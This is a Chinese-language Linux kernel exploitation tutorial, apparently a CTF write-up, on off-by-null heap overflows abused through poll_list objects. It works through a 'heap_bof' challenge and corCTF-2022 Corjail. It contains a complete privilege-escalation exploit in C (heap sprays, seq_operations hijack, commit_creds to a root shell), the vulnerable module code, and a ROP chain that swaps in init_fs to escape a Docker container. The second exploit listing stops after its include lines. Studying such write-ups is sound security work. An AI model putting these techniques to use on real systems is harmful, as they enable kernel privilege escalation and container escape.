Linux kernel 堆溢出利用方法(二)
前言
本文我们通过我们的老朋友heap_bof来讲解Linux kernel中off-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了root权限后,docker逃逸就变的相对简单了)。
off by null
我们还是使用上一篇的例题heap_bof来讲解这种利用手法,现在我们假设这道题没有提供free,并且只有单字节溢出,并且溢出的单字节只能是NULL,那么我们应该怎麼去利用呢?
利用思路
boot.sh
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 1G \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=2 \
--nographic
poll系统调用
/*
* @fds: pollfd类型的一个数组
* @nfds: 前面的参数fds中条目的个数
* @timeout: 事件发生的毫秒数
*/
int poll(struct pollfd *fds, nfds_t nfds, int timeout);
poll_list 结构体对象是在调用 poll() 时分配,该调用可以监视 1 个或多个文件描述符的活动。
struct pollfd {
int fd;
short events;
short revents;
};
struct poll_list {
struct poll_list *next; // 指向下一个poll_list
int len; // 对应于条目数组中pollfd结构的数量
struct pollfd entries[]; // 存储pollfd结构的数组
};
poll_list 结构如下图所示,前 30 个 poll_fd 在栈上,后面的都在堆上,最多 510 个 poll_fd 在一个堆上的 poll_list 上,堆上的 poll_list 最大为 0x1000。
poll_list 分配/释放
do_sys_poll 函数完成 poll_list 的分配和释放。poll_list 的是超时自动释放的,我们可以指定 poll_list 的释放时间。
#define POLL_STACK_ALLOC 256
#define PAGE_SIZE 4096
//(4096-16)/8 = 510(堆上存放pollfd最大数量)
#define POLLFD_PER_PAGE ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))
//(256-16)/8 = 30 (栈上存放pollfd最大数量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list)) / sizeof(struct pollfd))
[...]
static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
struct timespec64 *end_time)
{
struct poll_wqueues table;
int err = -EFAULT, fdcount, len;
/* Allocate small arguments on the stack to save memory and be
faster - use long to make sure the buffer is aligned properly
on 64 bit archs to avoid unaligned access */
/*
* [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
*/
long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
struct poll_list *const head = (struct poll_list *)stack_pps;
struct poll_list *walk = head;
unsigned long todo = nfds;
if (nfds > rlimit(RLIMIT_NOFILE))
return -EINVAL;
/*
* [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间
*/
len = min_t(unsigned int, nfds, N_STACK_PPS);
for (;;) {
walk->next = NULL;
walk->len = len;
if (!len)
break;
if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))
goto out_fds;
todo -= walk->len;
if (!todo)
break;
/*
* [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。
* 每个page 最多存 POLLFD_PER_PAGE (510) 个entry,
* 超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
*/
len = min(todo, POLLFD_PER_PAGE);
/*
* [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
*/
walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL);
if (!walk) {
err = -ENOMEM;
goto out_fds;
}
}
poll_initwait(&table);
/*
* [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。
* 这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
*/
fdcount = do_poll(head, &table, end_time);
poll_freewait(&table);
if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
goto out_fds;
for (walk = head; walk; walk = walk->next) {
struct pollfd *fds = walk->entries;
int j;
for (j = walk->len; j; fds++, ufds++, j--)
unsafe_put_user(fds->revents, &ufds->revents, Efault);
}
user_write_access_end();
err = fdcount;
out_fds:
walk = head->next;
while (walk) { // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
struct poll_list *pos = walk;
walk = walk->next;
kfree(pos);
}
return err;
Efault:
user_write_access_end();
err = -EFAULT;
goto out_fds;
}
我们可以去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00,然后就可以考虑利用堆喷去构造 UAF 了。
详细流程
首先分配 kmalloc-4096 大小的结构题在ptr[0];
然后构造这样的poll_list结构体。
利用off-by-null将poll_list->next的最后一个字节改为空。然后大量分配kmalloc-32的obj内存,这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。
等待poll_list线程执行完毕,并且我们分配的kmalloc-32被错误释放,分配大量的seq_operations,运气好可以正好被分配到我们释放的kmalloc-32,形成UAF,这样我们就可以利用UAF修改seq_operations->start指针指向提权代码。
提权可以参考上一篇文章,利用栈上的残留值来bypass kaslr。
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
#define KEY_NUM 199
char buf[0x20];
int bof_fd;
int key_id[KEY_NUM];
#define N_STACK_PPS 30
#define POLL_NUM 0x1000
#define PAGE_SIZE 0x1000
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx; // 表示 ptr 数组的 索引
};
size_t user_cs, user_rflags, user_sp, user_ss;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void get_shell(void) {
system("/bin/sh");
}
void qword_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/*--------------------------------------------------------------------------------------------------*/
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
#define __aligned(x) __attribute__((__aligned__(x)))
typedef unsigned long long u64;
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0] __aligned(__alignof__(u64)); /* actual data */
};
int key_alloc(int id, void *payload, int payload_len) {
char description[0x10] = {};
sprintf(description, "pwn_%d", id);
return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}
int key_update(int id, void *payload, size_t plen) {
return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}
int key_read(int id, void *bufer, size_t buflen) {
return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}
int key_revoke(int id) {
return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}
int key_unlink(int id) {
return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}
/*--------------------------------------------------------------------------------------------------*/
pthread_t tid[40];
typedef struct {
int nfds, timer;
} poll_args;
struct poll_list {
struct poll_list *next;
int len;
struct pollfd entries[];
};
void* alloc_poll_list(void *args) {
int nfds = ((poll_args *) args)->nfds;
int timer = ((poll_args *) args)->timer;
struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
for (int i = 0; i < nfds; i++) {
pfds[i].fd = open("/etc/passwd", O_RDONLY);
pfds[i].events = POLLERR;
}
poll(pfds, nfds, timer);
}
void* create_poll_list(size_t size, int timer, int i) {
poll_args *args = calloc(1, sizeof(poll_args));
args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;
args->timer = timer;
pthread_create(&tid[i], NULL, alloc_poll_list, args);
}
/*--------------------------------------------------------------------------------------------------*/
struct list_head {
struct list_head *next, *prev;
};
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_bufer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};
/*--------------------------------------------------------------------------------------------------*/
void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t user_rip = (size_t) get_shell;
size_t kernel_offset;
void get_root() {
__asm__(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset -= 0xffffffff81229378;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
/*--------------------------------------------------------------------------------------------------*/
int main() {
save_status();
signal(SIGSEGV, (void *) get_shell);
bof_fd = open("dev/bof", O_RDWR);
int seq_fd[SEQ_NUM];
printf("[*] try to alloc_kmalloc-4096\n");
size_t* mem = malloc(0x1010);
memset(mem, '\xff', 0x1010);
struct param p = {0x1000, (char*)mem, 0};
ioctl(bof_fd, BOF_MALLOC, &p);
printf("[*] try to spary kmalloc-32\n");
p.len = 0x20;
for (int i = 1; i < 20; ++i)
{
p.idx = i;
memset(mem, i, 0x20);
memset(mem, 0, 0x18);
ioctl(bof_fd, BOF_MALLOC, &p);
ioctl(bof_fd, BOF_EDIT, &p);
}
printf("[*] try to alloc_poll_list\n");
for (int i = 0; i < 14; ++i)
{
create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);
}
printf("[*] try to spary kmalloc-32\n");
p.len = 0x20;
for (int i = 20; i < 40; ++i)
{
p.idx = i;
memset(mem, i, 0x20);
memset(mem, 0, 0x18);
ioctl(bof_fd, BOF_MALLOC, &p);
ioctl(bof_fd, BOF_EDIT, &p);
}
sleep(1);
// 调试用代码
// p.len = 0x1010;
// p.idx = 0;
// ioctl(bof_fd, BOF_READ, &p);
// printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);
p.len = 0x1001;
p.idx = 0;
memset(mem, '\x00', 0x1001);
ioctl(bof_fd, BOF_EDIT, &p);
void *res;
for (int i = 0; i < 14; ++i)
{
printf("[*] wating for poll end\n");
pthread_join(tid[i], &res);
}
for (int i = 0; i < 256; ++i)
{
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
}
sleep(1);
for (int i = 1; i < 40; ++i)
{
p.idx = i;
p.len = 0x20;
ioctl(bof_fd, BOF_READ, &p);
printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
mem[0] = (size_t*)get_root;
mem[1] = (size_t*)get_root;
mem[2] = (size_t*)get_root;
mem[3] = (size_t*)get_root;
ioctl(bof_fd, BOF_EDIT, &p);
}
for (int i = 1; i < 40; ++i)
{
p.idx = i;
p.len = 0x20;
ioctl(bof_fd, BOF_READ, &p);
printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
}
for (int i = 0; i < 256; i++) {
read(seq_fd[i], p.buf, 1);
}
return 0;
}
corCTF-2022:Corjail
题目分析
我们可以使用 Guestfish 工具读取和修改 qcow2 文件。
run_challenge.sh
#!/bin/sh
qemu-system-x86_64 \
-m 1G \
-nographic \
-no-reboot \
-kernel bzImage \
-append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \
-hda coros.qcow2 \
-snapshot \
-monitor /dev/null \
-cpu qemu64,+smep,+smap,+rdrand \
-smp cores=4 \
--enable-kvm
init脚本
查看服务进程/etc/systemd/system/init.service;
Description=Initialize challenge
[Service]
Type=oneshot
ExecStart=/usr/local/bin/init
[Install]
WantedBy=multi-user.target
查看 /usr/local/bin/init 脚本;
cat /usr/local/bin/init
#!/bin/bash
USER=user
FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')
useradd --create-home --shell /bin/bash $USER
echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '" >> /root/.bashrc
echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc
chmod -r 0700 /home/$USER
mv /root/temp /root/$FLAG
chmod 0400 /root/$FLAG
password
❯ guestfish --rw -a coros.qcow2
><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs> cat /etc/password
libguestfs: error: download: /etc/password: No such file or directory
><fs> cat /etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......
root_shell
查看root用户的/usr/local/bin/jail;
><fs> cat /usr/local/bin/jail
#!/bin/bash
echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
/usr/bin/docker run -it --user user \
--hostname CoRJail \
--security-opt seccomp=/etc/docker/corjail.json \
-v /proc/cormon:/proc_rw/cormon:rw corcontainer
/bin/bash
/usr/sbin/poweroff -f
发现其启动root的 shell 后是首先调用 docker来构建了一个容器然后关闭自身,在那之后我们起的虚拟环境就是处于该docker容器当中。
为了方便调试,我们可以使用edit将其修改为:
><fs> edit /usr/local/bin/jail
><fs> cat /usr/local/bin/jail
#!/bin/bash
echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
cp /exploit /home/user || echo "[!] exploit not found, skipping"
chown -R user:user /home/user
echo 0 > /proc/sys/kernel/kptr_restrict
/usr/bin/docker run -it --user root \
--hostname CoRJail \
--security-opt seccomp=/etc/docker/corjail.json \
# 允许容器能够调用与日志相关的系统调用
--cap-add CAP_SYSLOG \
# 将宿主机的 /proc/cormon 目录挂载到容器内的 /proc_rw/cormon,并且以读写模式挂载。
-v /proc/cormon:/proc_rw/cormon:rw \
# 将宿主机的 /home/user/ 目录挂载到容器内的 /home/user/host
-v /home/user/:/home/user/host \
corcontainer
/bin/bash
/usr/sbin/poweroff -f
edit 的用法和 vim 一样。
后面我们上传 exp 的时候可以使用 upload 命令,其格式如下:
><fs> help upload
NAME
upload - upload a file from the local machine
SYNOPSIS
upload filename remotefilename
DESCRIPTION
Upload local file filename to remotefilename on the filesystem.
filename can also be a named pipe.
See also "download".
kernel_patch
diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c 2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@
#define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
/*
* Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h 2022-07-02 12:34:11.237778657 +0200
@@ -245,7 +245,7 @@
* SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
* macros to work correctly.
*/
-#define SYSCALL_DEFINE0(sname) \
+#define __SYSCALL_DEFINE0(sname) \
SYSCALL_METADATA(_##sname, 0); \
static long __do_sys_##sname(const struct pt_regs *__unused); \
__X64_SYS_STUB0(sname) \
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h 2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h 2022-07-02 12:34:11.237778657 +0200
@@ -82,6 +82,7 @@
#include <linux/key.h>
#include <linux/personality.h>
#include <trace/syscall.h>
+#include <asm/syscall.h>
#ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
/*
@@ -202,8 +203,8 @@
}
#endif
-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname) \
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname) \
SYSCALL_METADATA(_##sname, 0); \
asmlinkage long sys_##sname(void); \
ALLOW_ERROR_INJECTION(sys_##sname, ERRNO); \
@@ -219,9 +220,41 @@
#define SYSCALL_DEFINE_MAXARGS 6
-#define SYSCALL_DEFINEx(x, sname, ...) \
- SYSCALL_METADATA(sname, x, __VA_ARGS__) \
- __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) \
+ this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...) \
+ { \
+ __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr); \
+ return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__)); \
+ } \
+ static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) \
+ static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname) \
+ { \
+ __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr); \
+ return __count_sys_##sname(); \
+ } \
+ static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...) \
+ SYSCALL_METADATA(sname, x, __VA_ARGS__) \
+ SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__) \
+ __SYSCALL_DEFINEx(x, sname, __VA_ARGS__) \
+ SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname) \
+ SYSCALL_COUNT_DECLARE0(sname) \
+ __SYSCALL_DEFINE0(sname) \
+ SYSCALL_COUNT_FUNC0(sname)
#define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)
diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@
return NULL;
}
-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr)
{
if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@
return syscalls_metadata[nr];
}
+EXPORT_SYMBOL(syscall_nr_to_meta);
const char *get_syscall_name(int syscall)
{
@@ -122,6 +123,7 @@
return entry->name;
}
+EXPORT_SYMBOL(get_syscall_name);
static enum print_line_t
print_syscall_enter(struct trace_iterator *iter, int flags,
其中
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
为每个CPU都创建一个 __per_cpu_syscall_count变量用来记录系统调用的次数。
seccomp.json 保存了系统调用的白名单。
{
"defaultAction": "SCMP_ACT_ERRNO",
"defaultErrnoRet": 1,
"syscalls": [
{
"names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ],
"action": "SCMP_ACT_ALLOW"
},
{
"names": [ "clone" ],
"action": "SCMP_ACT_ALLOW",
"args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
}
]
}
根据README.md提示,可以在proc_rw/cormon看到使用到的系统调用在各个CPU当中的情况。
root@CoRJail:/# cat /proc_rw/cormon
CPU0 CPU1 CPU2 CPU3 Syscall (NR)
9 16 25 18 sys_poll (7)
0 0 0 0 sys_fork (57)
66 64 79 60 sys_execve (59)
0 0 0 0 sys_msgget (68)
0 0 0 0 sys_msgsnd (69)
0 0 0 0 sys_msgrcv (70)
0 0 0 0 sys_ptrace (101)
15 19 11 6 sys_setxattr (188)
27 24 11 20 sys_keyctl (250)
0 0 2 2 sys_unshare (272)
0 1 0 0 sys_execveat (322)
也可以指定系统调用。
root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon
root@CoRJail:/# cat /proc_rw/cormon
CPU0 CPU1 CPU2 CPU3 Syscall (NR)
0 0 0 0 sys_msgsnd (69)
0 0 0 0 sys_msgrcv (70)
src.c
可以看到 write 存在明显的off-by-null。
static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
{
loff_t offset = *ppos;
char *syscalls;
size_t len;
if (offset < 0)
return -EINVAL;
if (offset >= PAGE_SIZE || !count)
return 0;
len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;
syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);
if (!syscalls)
{
printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
return -ENOMEM;
}
if (copy_from_user(syscalls, ubuf, len))
{
printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
return -EFAULT;
}
syscalls[len] = '\x00';
if (update_filter(syscalls))
{
kfree(syscalls);
return -EINVAL;
}
kfree(syscalls);
return count;
}
利用思路
在 poll_list 利用方式中:
先通过 add_key() 堆喷大量 32 字节大小的 user_key_payload。
这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。
然后创建 poll_list 链,其中 poll_list.next 指向的是一个 0x20 大小的 object。
触发 off by null,修改 poll_list.next 的低字节为 \x00,这里可能导致其指向某个 user_key_payload。
然后等待 timeout 后, 就会导致某个 user_key_payload 被释放,导致 UAF。
详细流程如下:
首先,我们要打开有漏洞的模块。使用bind_core()将当前进程绑定到CPU0,因为我们是在一个多核环境中工作,而slab是按CPU分配的。
void bind_core(bool fixed, bool thread) {
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
if (thread) {
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
} else {
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}
}
喷射大量 0x20 大小的 user_key_payload 和下图所示 0x1000 + 0x20 的 poll_list 。
此时内存中 object 的分布如下图所示,其中黄色的是 user_key_payload ,绿色的是 poll_list ,白色是空闲 object 。
通过 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_list 的 next 指针指向 user_key_payload 。之后释放所有的 poll_list 结构,被 next 指向的的 user_key_payload 也被释放,形成 UAF 。
注意,为了确保释放 poll_list 不出错,要保证 0x20 大小的 poll_list 的 next 指针为 NULL 。也就是 user_key_payload 的前 8 字节为 NULL 。由于 user_key_payload 的前 8 字节没有初始化,因此可以在申请 user_key_payload 前先用 setxattr 把前 8 字节置为 NULL 。
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
char kname[XATTR_NAME_MAX + 1];
[...]
if (size) {
[...]
kvalue = kvmalloc(size, GFP_KERNEL); // 申请kmalloc-x
if (!kvalue)
return -ENOMEM;
// 修改kmalloc-x内容
if (copy_from_user(kvalue, value, size)) {
error = -EFAULT;
goto out;
}
[...]
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
kvfree(kvalue); // 释放kmalloc-x
return error;
}
另外实测 kmalloc-32 的 freelist 偏移为 16 字节,不会覆盖 next 指针。
喷射 seq_operations 利用 seq_operations->next 的低二字节覆盖 user_key_payload->datalen 实现 user_key_payload 越界读, user_key_payload->data 前 8 字节被覆盖为 seq_operations->show ,可以泄露内核基址。另外可以根据是否越界读判断该 user_key_payload 是否被 seq_operations 覆盖。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
struct user_key_payload {
struct rcu_head rcu; /* RCU destructor */
unsigned short datalen; /* length of this data */
char data[0] __aligned(__alignof__(u64)); /* actual data */
};
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
之后释放不能越界读的 user_key_payload 并喷射 tty_file_private 填充产生的空闲 object 。之后再次越界读泄露 tty_file_private->tty 指向的 tty_struct ,我们定义这个地址为 target_object 。
释放 seq_operations ,喷射 0x20 大小的 poll_list 。现在UAF的堆块被user_key_payload和poll_list占领。在 poll_list 被释放前,释放劫持的 user_key_payload ,利用 setxattr 修改 poll_list 的 next 指针指向 target_object - 0x18,方便后续伪造pipe_buffer 。为了实现 setxattr 的喷射效果,setxattr 修改过的 object 通过申请 user_key_payload 劫持,确保下次 setxattr 修改的是另外的 object。
打开 /dev/ptmx 时会分配 tty_file_private 并且该结构体的 tty 指针会指向 tty_struct 。
int tty_alloc_file(struct file *file)
{
struct tty_file_private *priv;
priv = kmalloc(sizeof(*priv), GFP_KERNEL);
if (!priv)
return -ENOMEM;
file->private_data = priv;
return 0;
}
// kmalloc-32 | GFP_KERNEL
struct tty_file_private {
struct tty_struct *tty;
struct file *file;
struct list_head list;
};
趁 poll_list 还没有释放,释放 tty_struct 并申请 pipe_buffer ,将 target_object(tty_struct) 替换为 pipe_buffer 。
struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private;};
之后 poll_list 释放导致 target_object - 0x18 区域释放。我们可以申请一个 0x400 大小的 user_key_payload 劫持 target_object - 0x18 ,从而劫持 pipe_buffer->ops 实现控制流劫持。
docker逃逸
具体实现为修改 task_struct 的 fs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务,我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中,setns() 被seccomp默认屏蔽了,我们可以克隆 init_fs 结构,然后用find_task_by_vpid()定位当前任务,用 gadget 手动安装新fs_struct。
// commit_creds(&init_creds)
*rop++ = pop_rdi_ret;
*rop++ = init_cred;
*rop++ = commit_creds;
// current = find_task_by_vpid(getpid())
*rop++ = pop_rdi_ret;
*rop++ = getpid();
*rop++ = find_task_by_vpid;
// current->fs = &init_fs
*rop++ = pop_rcx_ret;
*rop++ = 0x6e0;
*rop++ = add_rax_rcx_ret;
*rop++ = pop_rbx_ret;
*rop++ = init_fs;
*rop++ = mov_mmrax_rbx_pop_rbx_ret;
rop++;
exp
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
